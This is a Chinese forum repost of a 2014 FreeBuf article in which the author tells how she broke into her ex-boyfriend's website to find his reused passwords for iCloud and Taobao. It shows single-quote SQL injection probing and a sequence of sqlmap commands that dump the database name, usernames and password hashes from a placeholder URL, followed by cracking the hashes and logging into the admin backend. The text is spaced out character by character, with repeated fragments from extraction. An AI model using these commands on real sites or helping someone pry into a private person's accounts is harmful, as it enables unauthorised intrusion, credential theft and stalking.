搜索

[8146] 2014-07-24_黑了前男友网站：从找SQL注入到后台权限

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-17
2014-07-24_黑了前男友网站：从找SQL注入到后台权限 黑 了 前 男 友 网 站 ： 从 找 S Q L 注 入 到 后 台 权 限 刘 开 水   F r e e B u f   2 0 1 4 - 0 7 - 2 4 此 事 可 以 作 为 姐 妹 们 查 岗 查 哨 或 者 学 习 的 论 文 普 及 ， 题 目 我 已 经 想 好 了 — — 论 女 友 的 重 要 性 论 女 友 的 重 要 性   o r   前 女 友 是 颗 不 定 时 炸 弹 前 女 友 是 颗 不 定 时 炸 弹 其 实 事 情 很 简 单 ， 就 是 我 闲 得 天 灵 盖 儿 疼 （ 蛋 疼 是 男 银 的 事 儿 ！ ） ， 想 知 道 前 男 友 i c l o u d 以 及 淘 宝 的 密 码 ， 看 看 有 木 有 跟 老 娘 我 这 么 如 花 似 玉 打 着 探 照 灯 都 找 不 到 的 善 良 纯 情 小 少 女 分 手 后 的 候 补 妹 纸 的 照 片 。 因 为 他 的 习 惯 是 密 码 通 用 ， 这 样 顺 便 还 能 看 一 些 八 卦 的 东 西 来 提 升 娱 乐 精 神 ， 给 炎 炎 夏 日 送 来 一 阵 略 爽 的 清 凉 … … 呜 哈 ！ 心 飞 扬 ！ （ 以 前 看 到 淘 宝 回 收 站 里 有 啥 飞 机 杯 之 类 的 ， 不 忍 直 视 的 郁 闷 啊 ， 喝 水 就 喝 水 嘛 ， 同 是 杯 子 家 族 的 为 毛 还 要 分 出 来 保 温 杯 、 马 克 杯 、 飞 机 杯 ？ 这 不 是 可 耻 的 搞 分 裂 么 ？ ！ ） 安 全 小 提 示 ： 尽 量 不 要 用 通 用 密 码 ， 老 大 关 于 隐 私 的 文 章 里 提 到 过 很 多 次 安 全 小 提 示 ： 尽 量 不 要 用 通 用 密 码 ， 老 大 关 于 隐 私 的 文 章 里 提 到 过 很 多 次 废 话 不 多 说 了 ， 节 省 口 水 资 源 ， 工 作 正 大 光 明 的 在 朗 朗 乾 坤 下 开 始 展 开 了 … … 试 过 以 前 用 的 密 码 以 及 模 式 重 组 ， 果 断 已 改 ， 于 是 我 有 个 迂 回 的 思 路 ， 记 得 前 男 友 管 理 过 一 个 网 站 ， 于 是 打 算 从 网 站 入 手 ， 看 看 是 否 能 碰 巧 找 到 这 个 通 用 密 码 1 .   第 一 次 找 第 一 次 找 S Q L 注 入 漏 洞 啊 注 入 漏 洞 啊   原 来 是 这 样 找 的 ： 原 来 是 这 样 找 的 ： 通 过 在 U R L 数 字 参 数 后 面 加 单 引 号 看 页 面 是 否 报 错 ， 判 断 是 否 存 在 注 入 ， 运 气 很 好 ， 加 了 单 引 号 后 ， 页 面 已 经 报 错 了 ， 如 上 图 。 判 断 注 入 手 段 ： h t t p : / / w w w . x x x . c o m / x x x . p h p ? c i d = 1 1 8 ’   2 .   工 具 验 证 注 射 点 ： 工 具 验 证 注 射 点 ：
用 了 同 事 教 我 的 s q l m a p 来 验 证 注 射 点 ， 果 然 很 好 用 S q l m a p 验 证 ： S q l m a p . p y – u   “ h t t p : / / w w w . x x x . c o m / x x x . p h p ? c i d = 1 1 8 ”   – p   c p i d 3 .   然 后 得 到 数 据 库 名 ： 然 后 得 到 数 据 库 名 ： c n 3 9 7 0 7 3 ： ： S q l m a p 注 射 出 数 据 库 名 : S q l m a p . p y – u   “ h t t p : / / w w w . x x x . c o m / x x x . p h p ? c i d = 1 1 8 ”   – p   c p i d   - - d b s 4 .   然 后 注 射 出 所 有 用 户 名 ： 然 后 注 射 出 所 有 用 户 名 ：
有 点 小 激 动 ， 但 是 找 了 下 没 找 到 跟 他 相 关 的 用 户 名 ， 难 道 不 上 了 ？ 不 过 看 到 了 最 后 一 个 是 熟 人 的 名 称 缩 写 ， 虽 然 没 什 么 用 ， 但 好 奇 也 记 下 了 。 S q l m a p 注 射 出 库 内 所 有 用 户 名 （ 表 名 不 常 见 ， 用 了 其 他 办 法 找 到 的 ， 不 表 ） ： S q l m a p . p y – u   “ h t t p : / / w w w . x x x . c o m / x x x . p h p ? c i d = 1 1 8 ”   – p   c p i d   – D   c n 3 9 7 0 7 3   – T   x x x   – C u s e r n a m e   - - d u m p 5 .   不 管 有 没 有 用 不 管 有 没 有 用   都 到 这 步 了 ， 先 注 射 出 密 码 进 去 看 看 ： 都 到 这 步 了 ， 先 注 射 出 密 码 进 去 看 看 ： S q l m a p 注 射 出 库 内 所 有 密 码 h a s h ： S q l m a p . p y – u   “ h t t p : / / w w w . x x x . c o m / x x x . p h p ? c i d = 1 1 8 ”   – p   c p i d   – D   c n 3 9 7 0 7 3   – T   x x x   – C p a s s w o r d   - - d u m p 6 .   对 密 码 对 密 码 h a s h 解 密 后 得 到 明 文 ， 登 陆 后 台 解 密 后 得 到 明 文 ， 登 陆 后 台 看 了 下 操 作 日 志 ， 时 间 习 惯 不 像 前 男 友 ， 只 好 继 续 观 察 ， 另 外 后 台 入 口 是 在 网 站 底 部 链 接 里 发 现 的 ， 弱 ~ ， 后 台 地 址 应 该
写 个 特 殊 路 径 ， 防 止 别 人 知 道 ， 显 然 管 理 员 为 了 方 便 自 己 放 在 了 网 站 底 部 ， 不 应 该 ！ 无 聊 之 旅 结 束 ， 没 搞 破 坏 ， 没 做 任 何 改 动 ， 没 得 到 有 用 信 息 ， 默 默 看 过 飘 过 ， 连 在 上 边 插 小 红 旗 这 么 贱 贱 而 又 光 辉 的 事 情 都 没 做 ， 我 太 他 表 弟 的 高 尚 了 ！ 不 夸 自 己 品 德 都 觉 得 对 不 起 老 大 和 团 队 大 牛 们 的 教 导 ！ 完 了 之 后 给 管 理 员 报 个 漏 洞 ， 老 娘 低 调 晋 级 伪 小 菜 鸟 白 帽 了 ~ 不 过 看 了 下 这 些 明 文 密 码 ， 不 得 不 感 叹 没 一 个 有 安 全 意 识 的 呀 ， 密 码 几 乎 都 是 名 字 o r 地 名 缩 写 与 数 字 的 组 合 ， 如 果 是 稍 微 认 识 的 人 都 可 以 直 接 通 过 套 密 码 登 陆 进 去 ， 进 而 进 一 步 的 渗 透 。 同 志 们 以 后 都 得 注 意 ， 防 患 于 未 然 … … 于 未 然 … … 未 然 … … 然 … … 然 … … 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理